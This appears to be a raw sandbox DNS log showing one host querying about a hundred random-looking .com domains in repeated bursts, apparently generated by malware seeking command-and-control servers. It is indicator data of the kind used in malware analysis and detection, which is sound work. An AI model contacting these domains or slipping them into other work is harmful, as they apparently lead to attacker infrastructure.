                                                                                                                                                                                                          Aug 23, 2024 18:42:25.802580118 CEST192.168.2.51.1.1.10x95e8Standard query (0)qebyrev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.802793026 CEST192.168.2.51.1.1.10x6dc7Standard query (0)pujygul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.802866936 CEST192.168.2.51.1.1.10x48c3Standard query (0)gatycoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.803339958 CEST192.168.2.51.1.1.10x7c64Standard query (0)lyvywed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.805644035 CEST192.168.2.51.1.1.10x51cfStandard query (0)vojygut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.808006048 CEST192.168.2.51.1.1.10x5b50Standard query (0)qetyxiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.808214903 CEST192.168.2.51.1.1.10x893eStandard query (0)puvywav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.808969021 CEST192.168.2.51.1.1.10xcd30Standard query (0)gahyfyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.809120893 CEST192.168.2.51.1.1.10x7ce7Standard query (0)lyryxij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.809262991 CEST192.168.2.51.1.1.10x8289Standard query (0)vocyqaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.810292006 CEST192.168.2.51.1.1.10x49b4Standard query (0)qegyfyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.814004898 CEST192.168.2.51.1.1.10x3d31Standard query (0)puryxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.814218044 CEST192.168.2.51.1.1.10xa40cStandard query (0)gacyqob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.814363003 CEST192.168.2.51.1.1.10xb9d4Standard query (0)lygyfex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.814519882 CEST192.168.2.51.1.1.10x6bc1Standard query (0)vowyzuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.815675020 CEST192.168.2.51.1.1.10x3f81Standard query (0)qexyqog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.815795898 CEST192.168.2.51.1.1.10x8cbcStandard query (0)pufydep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.815866947 CEST192.168.2.51.1.1.10xba1fStandard query (0)gaqyzuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.816051960 CEST192.168.2.51.1.1.10xb893Standard query (0)lyxymin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.816205025 CEST192.168.2.51.1.1.10x284aStandard query (0)vofydac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.816545963 CEST192.168.2.51.1.1.10x69e6Standard query (0)qeqylyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.816751957 CEST192.168.2.51.1.1.10xfd22Standard query (0)gadydas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.817131996 CEST192.168.2.51.1.1.10x53eaStandard query (0)puzymig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.817142963 CEST192.168.2.51.1.1.10x8a9cStandard query (0)lymylyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.817332029 CEST192.168.2.51.1.1.10x90baStandard query (0)volymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.842693090 CEST192.168.2.51.1.1.10xd5ceStandard query (0)pupydeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.849056959 CEST192.168.2.51.1.1.10xa2f9Standard query (0)lysyvan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.895078897 CEST192.168.2.51.1.1.10x2e05Standard query (0)lyrysor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.953829050 CEST192.168.2.51.1.1.10xc8caStandard query (0)pupycag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.243261099 CEST192.168.2.51.1.1.10x70c9Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.243829012 CEST192.168.2.51.1.1.10xe615Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.246743917 CEST192.168.2.51.1.1.10xe76aStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.247584105 CEST192.168.2.51.1.1.10xb6cbStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.247940063 CEST192.168.2.51.1.1.10xa2ceStandard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.248128891 CEST192.168.2.51.1.1.10x5610Standard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.249479055 CEST192.168.2.51.1.1.10x83f8Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.249687910 CEST192.168.2.51.1.1.10xa7c6Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.251071930 CEST192.168.2.51.1.1.10xaf69Standard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.251209974 CEST192.168.2.51.1.1.10x523aStandard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.252640009 CEST192.168.2.51.1.1.10xff6dStandard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.253722906 CEST192.168.2.51.1.1.10x6fedStandard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.253905058 CEST192.168.2.51.1.1.10xccd7Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.255275011 CEST192.168.2.51.1.1.10xb3a4Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.255539894 CEST192.168.2.51.1.1.10x573cStandard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.256755114 CEST192.168.2.51.1.1.10xa3e8Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.257002115 CEST192.168.2.51.1.1.10x3eb3Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.258116007 CEST192.168.2.51.1.1.10xafc3Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.258718967 CEST192.168.2.51.1.1.10x3d6dStandard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.259702921 CEST192.168.2.51.1.1.10xbf47Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.261390924 CEST192.168.2.51.1.1.10x47feStandard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.261635065 CEST192.168.2.51.1.1.10x3892Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.262933016 CEST192.168.2.51.1.1.10x9747Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.263158083 CEST192.168.2.51.1.1.10xccadStandard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.263942003 CEST192.168.2.51.1.1.10x5fd7Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.269722939 CEST192.168.2.51.1.1.10x378bStandard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.271737099 CEST192.168.2.51.1.1.10xc9a1Standard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.272124052 CEST192.168.2.51.1.1.10xde5eStandard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.273834944 CEST192.168.2.51.1.1.10x934fStandard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.295116901 CEST192.168.2.51.1.1.10x52a2Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.295344114 CEST192.168.2.51.1.1.10x83b3Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.296622992 CEST192.168.2.51.1.1.10x7ddcStandard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.303370953 CEST192.168.2.51.1.1.10x5536Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.312021971 CEST192.168.2.51.1.1.10x1ac0Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.312571049 CEST192.168.2.51.1.1.10x1ef4Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.319834948 CEST192.168.2.51.1.1.10xc04dStandard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.322918892 CEST192.168.2.51.1.1.10x9f84Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.323081970 CEST192.168.2.51.1.1.10x46efStandard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.323215961 CEST192.168.2.51.1.1.10x2febStandard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.324218035 CEST192.168.2.51.1.1.10x3ed5Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.337553978 CEST192.168.2.51.1.1.10x31f4Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.337686062 CEST192.168.2.51.1.1.10x862eStandard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.337872982 CEST192.168.2.51.1.1.10xebb4Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.340368986 CEST192.168.2.51.1.1.10x9f55Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.345644951 CEST192.168.2.51.1.1.10xa220Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.346046925 CEST192.168.2.51.1.1.10x7f27Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.347157001 CEST192.168.2.51.1.1.10x4a0eStandard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.347326994 CEST192.168.2.51.1.1.10x62bcStandard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.348079920 CEST192.168.2.51.1.1.10x69b8Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.348501921 CEST192.168.2.51.1.1.10xf8a9Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.348767042 CEST192.168.2.51.1.1.10xb378Standard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.353976011 CEST192.168.2.51.1.1.10xcd97Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.354177952 CEST192.168.2.51.1.1.10x1d5cStandard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.354336023 CEST192.168.2.51.1.1.10xbe2dStandard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.354563951 CEST192.168.2.51.1.1.10x82fStandard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.364069939 CEST192.168.2.51.1.1.10xe2c3Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.364905119 CEST192.168.2.51.1.1.10xcde0Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.366024017 CEST192.168.2.51.1.1.10xb314Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.366199017 CEST192.168.2.51.1.1.10x8b0eStandard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.413038015 CEST192.168.2.51.1.1.10xe25Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.426059008 CEST192.168.2.51.1.1.10x29aaStandard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.431071997 CEST192.168.2.51.1.1.10xbcafStandard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.431472063 CEST192.168.2.51.1.1.10xda5bStandard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.436712980 CEST192.168.2.51.1.1.10x9362Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.781722069 CEST192.168.2.51.1.1.10xf27cStandard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.100848913 CEST192.168.2.51.1.1.10x7d40Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.101772070 CEST192.168.2.51.1.1.10xf373Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.102726936 CEST192.168.2.51.1.1.10x198eStandard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.103014946 CEST192.168.2.51.1.1.10xf6c6Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.104527950 CEST192.168.2.51.1.1.10xad7dStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.104527950 CEST192.168.2.51.1.1.10x8b01Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.105776072 CEST192.168.2.51.1.1.10xd125Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.105776072 CEST192.168.2.51.1.1.10xbf26Standard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.106292963 CEST192.168.2.51.1.1.10x7eb7Standard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.106292963 CEST192.168.2.51.1.1.10x5e60Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.107280970 CEST192.168.2.51.1.1.10xfeebStandard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.107610941 CEST192.168.2.51.1.1.10x9faStandard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.108551025 CEST192.168.2.51.1.1.10x759bStandard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.108724117 CEST192.168.2.51.1.1.10x9b9fStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.109986067 CEST192.168.2.51.1.1.10xd17dStandard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.109986067 CEST192.168.2.51.1.1.10xff2dStandard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.111454964 CEST192.168.2.51.1.1.10x5f9Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.111629963 CEST192.168.2.51.1.1.10xcc42Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.112584114 CEST192.168.2.51.1.1.10xb5e9Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.112584114 CEST192.168.2.51.1.1.10x6a22Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.113893032 CEST192.168.2.51.1.1.10x11f5Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.114197969 CEST192.168.2.51.1.1.10xd957Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.115365028 CEST192.168.2.51.1.1.10xcb15Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.116199970 CEST192.168.2.51.1.1.10xbc6dStandard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.137049913 CEST192.168.2.51.1.1.10x32bStandard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.158109903 CEST192.168.2.51.1.1.10xd175Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.158668995 CEST192.168.2.51.1.1.10x4ee3Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.158994913 CEST192.168.2.51.1.1.10xb33bStandard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.158994913 CEST192.168.2.51.1.1.10x86deStandard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.169708014 CEST192.168.2.51.1.1.10x751Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.172177076 CEST192.168.2.51.1.1.10xf178Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.172477007 CEST192.168.2.51.1.1.10xad90Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.172635078 CEST192.168.2.51.1.1.10x1c3eStandard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.172991991 CEST192.168.2.51.1.1.10x30b8Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.172991991 CEST192.168.2.51.1.1.10xcd43Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.173327923 CEST192.168.2.51.1.1.10x7fc1Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.173546076 CEST192.168.2.51.1.1.10xafdcStandard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.176510096 CEST192.168.2.51.1.1.10xee1fStandard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.176760912 CEST192.168.2.51.1.1.10xa1afStandard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.177601099 CEST192.168.2.51.1.1.10x2984Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.177601099 CEST192.168.2.51.1.1.10x9750Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.192434072 CEST192.168.2.51.1.1.10x536Standard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.194078922 CEST192.168.2.51.1.1.10x122aStandard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.194344997 CEST192.168.2.51.1.1.10xfcf9Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.194781065 CEST192.168.2.51.1.1.10xf0afStandard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.206213951 CEST192.168.2.51.1.1.10x3b77Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.206494093 CEST192.168.2.51.1.1.10xf618Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.206754923 CEST192.168.2.51.1.1.10xd54Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.206989050 CEST192.168.2.51.1.1.10xd364Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.207195044 CEST192.168.2.51.1.1.10xc46fStandard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.207349062 CEST192.168.2.51.1.1.10x9c58Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.207525015 CEST192.168.2.51.1.1.10xdd8bStandard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.207613945 CEST192.168.2.51.1.1.10x61c1Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.207803011 CEST192.168.2.51.1.1.10x1d50Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.207953930 CEST192.168.2.51.1.1.10x8871Standard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.208010912 CEST192.168.2.51.1.1.10x6cf9Standard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.208144903 CEST192.168.2.51.1.1.10xe63aStandard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.208368063 CEST192.168.2.51.1.1.10xe0a2Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.208775997 CEST192.168.2.51.1.1.10x81afStandard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.209197044 CEST192.168.2.51.1.1.10x4b8aStandard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.209444046 CEST192.168.2.51.1.1.10xcbc4Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.209664106 CEST192.168.2.51.1.1.10xfd80Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.209976912 CEST192.168.2.51.1.1.10x4296Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:49.210165024 CEST192.168.2.51.1.1.10x8849Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:50.119424105 CEST192.168.2.51.1.1.10xcc42Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:51.129838943 CEST192.168.2.51.1.1.10xcc42Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.200515985 CEST192.168.2.51.1.1.10x21adStandard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.200836897 CEST192.168.2.51.1.1.10x34f8Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.201383114 CEST192.168.2.51.1.1.10xc21cStandard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.201590061 CEST192.168.2.51.1.1.10x6cb8Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.202078104 CEST192.168.2.51.1.1.10x6dc8Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.202625036 CEST192.168.2.51.1.1.10xb9d1Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.203556061 CEST192.168.2.51.1.1.10x46aeStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.204184055 CEST192.168.2.51.1.1.10xeebcStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.205132961 CEST192.168.2.51.1.1.10x4828Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.205763102 CEST192.168.2.51.1.1.10x5916Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.205959082 CEST192.168.2.51.1.1.10x70f2Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.206351042 CEST192.168.2.51.1.1.10x524eStandard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.206528902 CEST192.168.2.51.1.1.10xe950Standard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.207118034 CEST192.168.2.51.1.1.10x7af3Standard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.207382917 CEST192.168.2.51.1.1.10xc2f2Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.207556009 CEST192.168.2.51.1.1.10x9179Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.208324909 CEST192.168.2.51.1.1.10x5b49Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.208874941 CEST192.168.2.51.1.1.10x8938Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.209177017 CEST192.168.2.51.1.1.10xaf65Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.209666967 CEST192.168.2.51.1.1.10xfe43Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:57.210869074 CEST192.168.2.51.1.1.10x8c6bStandard query (0)gadyniw.comA (IP address)IN (0x0001)false
